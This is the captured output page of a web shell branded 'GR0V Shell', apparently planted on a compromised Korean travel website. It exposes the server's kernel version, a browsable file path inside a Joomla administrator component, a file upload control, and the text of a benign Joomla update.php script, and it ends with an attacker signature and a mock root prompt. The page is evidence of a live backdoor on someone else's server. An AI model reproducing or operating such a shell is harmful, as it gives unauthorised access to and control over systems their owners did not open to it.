? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/administrator/components/com_jaextmanager/installer/update/
File Upload :
Current File : /home/admin/public_html/old/administrator/components/com_jaextmanager/installer/update/update.php

<?php
if(JFile::exists(JPATH_COMPONENT."/installer/update/2.5.3/jaextmanager.xml") && JFile::exists(JPATH_COMPONENT."/com_jaextmanager.xml")){ 
	$oldxmlfile = JPath::clean(JPATH_COMPONENT.DIRECTORY_SEPARATOR.'com_jaextmanager.xml');
	$newxmlfile =  JPATH_COMPONENT.DIRECTORY_SEPARATOR.'installer'.DIRECTORY_SEPARATOR.'update'.DIRECTORY_SEPARATOR.'2.5.3'.DIRECTORY_SEPARATOR.'jaextmanager.xml';
	
	$newxmlfilecontent = JFile::read($newxmlfile);
	JFile::write($oldxmlfile, $newxmlfilecontent);
	rename($oldxmlfile, str_replace('com_jaextmanager.xml', 'jaextmanager.xml', $oldxmlfile));
	JFile::delete(JPATH_COMPONENT.DIRECTORY_SEPARATOR.'/installer/update/update.php');
}
?>

T1KUS90T
  root-grov@210.1.60.28:~$